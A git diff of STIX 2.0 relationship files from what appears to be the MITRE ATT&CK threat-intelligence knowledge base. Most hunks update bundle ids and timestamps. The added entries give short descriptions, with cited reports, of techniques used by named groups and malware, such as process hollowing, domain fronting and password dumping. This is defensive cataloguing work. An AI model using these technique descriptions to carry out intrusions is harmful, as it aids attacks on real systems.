@@ -8,7 +8,7 @@
             "id": "relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1.json b/enterprise-attack/relationship/relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1.json
index a5e72135a2..829e9adb6d 100644
--- a/enterprise-attack/relationship/relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1.json
+++ b/enterprise-attack/relationship/relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e401a177-6bae-49cf-bcd1-58b204cb91dc",
+    "id": "bundle--c23b87b7-904f-4858-93a7-b643922976e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930",
             "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
diff --git a/enterprise-attack/relationship/relationship--b0db4b00-8716-430f-a9d8-29a878a12eac.json b/enterprise-attack/relationship/relationship--b0db4b00-8716-430f-a9d8-29a878a12eac.json
new file mode 100644
index 0000000000..41b58e5e8e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b0db4b00-8716-430f-a9d8-29a878a12eac.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--349643b6-f850-4dc3-80ee-b14c66b9e5da",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b0db4b00-8716-430f-a9d8-29a878a12eac",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly deleted a file immediately after executing it on a victim host.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b1334535-019a-4d6a-88c1-8bb6741f152b.json b/enterprise-attack/relationship/relationship--b1334535-019a-4d6a-88c1-8bb6741f152b.json
new file mode 100644
index 0000000000..a4662fcc34
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b1334535-019a-4d6a-88c1-8bb6741f152b.json
@@ -0,0 +1,21 @@
+{
+    "type": "bundle",
+    "id": "bundle--3858f087-b037-4a05-815c-1dcaeef0eccb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b1334535-019a-4d6a-88c1-8bb6741f152b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation.",
+            "source_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
+            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf.json b/enterprise-attack/relationship/relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf.json
new file mode 100644
index 0000000000..aa25111456
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--77d28a07-e9f5-490a-9cd1-7589e726b4f8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b1371fd9-1bfd-40b2-90a2-4876d89029bf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "checks for the presence of Bitdefender security software.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a.json b/enterprise-attack/relationship/relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a.json
index bd55589950..e67c8e3aee 100644
--- a/enterprise-attack/relationship/relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a.json
+++ b/enterprise-attack/relationship/relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eda7763d-b5b9-4556-a68a-6ee4d5f6c405",
+    "id": "bundle--2b3243ef-b60d-43bd-923c-83532ba28c98",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser deletes its original installer file once installation is complete.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1.json b/enterprise-attack/relationship/relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1.json
index 4e8f4ec6a1..1971136b0c 100644
--- a/enterprise-attack/relationship/relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1.json
+++ b/enterprise-attack/relationship/relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--adcc0143-551d-49c6-a321-2bac497bf5af",
+    "id": "bundle--6fc6333a-2a40-40e7-857f-1ca042391764",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can dump passwords and save them into <code>\\ProgramData\\Mail\\MailAg\\pwds.txt</code>.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce.json b/enterprise-attack/relationship/relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce.json
index c0df40c69f..275e024da4 100644
--- a/enterprise-attack/relationship/relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce.json
+++ b/enterprise-attack/relationship/relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb34853d-5776-4574-93e6-7fb7af2b50ff",
+    "id": "bundle--31dfd089-c32e-4474-aabc-91802e8a9812",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--b1df64c9-782d-4452-8c4a-5ef933503c13.json b/enterprise-attack/relationship/relationship--b1df64c9-782d-4452-8c4a-5ef933503c13.json
new file mode 100644
index 0000000000..6fe2ccb08b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b1df64c9-782d-4452-8c4a-5ef933503c13.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a272b182-9793-45d5-9d47-5a83cd529949",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b1df64c9-782d-4452-8c4a-5ef933503c13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2.json b/enterprise-attack/relationship/relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2.json
index 33ae4a207f..09fea75429 100644
--- a/enterprise-attack/relationship/relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2.json
+++ b/enterprise-attack/relationship/relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e82913c1-63bd-4a33-b2b0-5b660f926357",
+    "id": "bundle--0e0c8f02-d841-4ee8-b07c-41eff821937c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "C2 traffic for most Threat Group-3390 tools occurs over ports 53, 80, and 443.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc.json b/enterprise-attack/relationship/relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc.json
index df58a2f7b5..ad025311e8 100644
--- a/enterprise-attack/relationship/relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc.json
+++ b/enterprise-attack/relationship/relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--43cd981f-0cb5-4c57-a806-1ff757cab243",
+    "id": "bundle--8211322d-07bb-4e37-9cb4-5cd05ec65f41",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b1ee5cba-d4e0-4af0-aa5c-5faacfdb0dbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04",
             "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
diff --git a/enterprise-attack/relationship/relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6.json b/enterprise-attack/relationship/relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6.json
new file mode 100644
index 0000000000..c6e48ff808
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--ea981128-c8bc-4d32-850d-5b11ebdb99bd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>whoami</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                },
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b2496438-9431-40e5-8ca0-2ec713f342c3.json b/enterprise-attack/relationship/relationship--b2496438-9431-40e5-8ca0-2ec713f342c3.json
new file mode 100644
index 0000000000..0c83db85d3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b2496438-9431-40e5-8ca0-2ec713f342c3.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--ef195575-f15d-4d6b-a935-0d0cdaf4df2d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b2496438-9431-40e5-8ca0-2ec713f342c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54.json b/enterprise-attack/relationship/relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54.json
index 4f884ea914..29f5aa66ab 100644
--- a/enterprise-attack/relationship/relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54.json
+++ b/enterprise-attack/relationship/relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5ceb327d-e46a-4eab-8128-12f96436003e",
+    "id": "bundle--8702645b-9cfe-488d-95b7-16d84be34e1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM runs its core DLL file using rundll32.exe.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536.json b/enterprise-attack/relationship/relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536.json
new file mode 100644
index 0000000000..251f19d3e5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536.json
@@ -0,0 +1,27 @@
+{
+    "type": "bundle",
+    "id": "bundle--0ab40b62-aacb-4291-ba66-3286212f0635",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Data captured by RawPOS is placed in a temporary file under a directory named \"memdump\".",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22.json b/enterprise-attack/relationship/relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22.json
index 3558074ada..b4fcd27544 100644
--- a/enterprise-attack/relationship/relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22.json
+++ b/enterprise-attack/relationship/relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--765b0f83-0cbb-4552-b192-f3dbef4d2038",
+    "id": "bundle--303a545b-3b6c-4669-9111-1ae1afee5d7c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--b274a57d-9d27-4e33-b6dc-15e007805838.json b/enterprise-attack/relationship/relationship--b274a57d-9d27-4e33-b6dc-15e007805838.json
index ac7c96098f..09910e1657 100644
--- a/enterprise-attack/relationship/relationship--b274a57d-9d27-4e33-b6dc-15e007805838.json
+++ b/enterprise-attack/relationship/relationship--b274a57d-9d27-4e33-b6dc-15e007805838.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1dc87b22-5037-45e8-bf06-c3cd01b20ec5",
+    "id": "bundle--c3233f72-ebce-46c7-a398-9026748f1c76",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b274a57d-9d27-4e33-b6dc-15e007805838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
             "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
diff --git a/enterprise-attack/relationship/relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961.json b/enterprise-attack/relationship/relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961.json
index 83c56383c1..0cc062bdb9 100644
--- a/enterprise-attack/relationship/relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961.json
+++ b/enterprise-attack/relationship/relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1287dfb5-6b3f-4563-a385-725ea2aa2de1",
+    "id": "bundle--5fb90930-4f5e-48ee-86be-456f114d8d72",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--b2b873cd-8618-426e-9cae-9e6755acafad.json b/enterprise-attack/relationship/relationship--b2b873cd-8618-426e-9cae-9e6755acafad.json
index 366e2356e2..905e4c1358 100644
--- a/enterprise-attack/relationship/relationship--b2b873cd-8618-426e-9cae-9e6755acafad.json
+++ b/enterprise-attack/relationship/relationship--b2b873cd-8618-426e-9cae-9e6755acafad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--48c6485a-08fd-485e-b4a3-3c3ffcd11bd6",
+    "id": "bundle--b0719145-afea-4c67-befb-06bdfefef55f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b2b873cd-8618-426e-9cae-9e6755acafad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture screenshots.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5.json b/enterprise-attack/relationship/relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5.json
index 3ca07eafe9..6ef288ae86 100644
--- a/enterprise-attack/relationship/relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5.json
+++ b/enterprise-attack/relationship/relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--50cbbaa5-6962-4af5-acf5-6043f1e5fca0",
+    "id": "bundle--885ef915-8d42-4e65-b9b6-7c0ab9e2ca2a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec schedules the execution one of its modules by creating a new scheduler task.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--b2dbbb46-9659-4277-8753-c469c4bfe409.json b/enterprise-attack/relationship/relationship--b2dbbb46-9659-4277-8753-c469c4bfe409.json
index 690a8075b6..2c2faf918c 100644
--- a/enterprise-attack/relationship/relationship--b2dbbb46-9659-4277-8753-c469c4bfe409.json
+++ b/enterprise-attack/relationship/relationship--b2dbbb46-9659-4277-8753-c469c4bfe409.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--48bd589d-dc89-4e2b-8b96-e7336fc085e5",
+    "id": "bundle--66ab009f-32e5-4be1-ba04-304bed54fe92",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b2dbbb46-9659-4277-8753-c469c4bfe409",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used <code>net user</code> to conduct internal discovery of systems.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa.json b/enterprise-attack/relationship/relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa.json
index f1970d07e4..701820f05a 100644
--- a/enterprise-attack/relationship/relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa.json
+++ b/enterprise-attack/relationship/relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5e477ab-2608-458f-aeb5-296ca3a623e0",
+    "id": "bundle--0ed3a385-fba0-4862-8584-57782a5da4c1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
             "target_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--b35a5218-e64d-49b5-a37d-6390edddece6.json b/enterprise-attack/relationship/relationship--b35a5218-e64d-49b5-a37d-6390edddece6.json
index 5ad48d5883..999e387993 100644
--- a/enterprise-attack/relationship/relationship--b35a5218-e64d-49b5-a37d-6390edddece6.json
+++ b/enterprise-attack/relationship/relationship--b35a5218-e64d-49b5-a37d-6390edddece6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75c316fb-c14b-4aaf-a686-adf9ebf24fb8",
+    "id": "bundle--d80e3006-30d3-46fd-b1a6-e956f11f10b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b35a5218-e64d-49b5-a37d-6390edddece6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8",
             "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
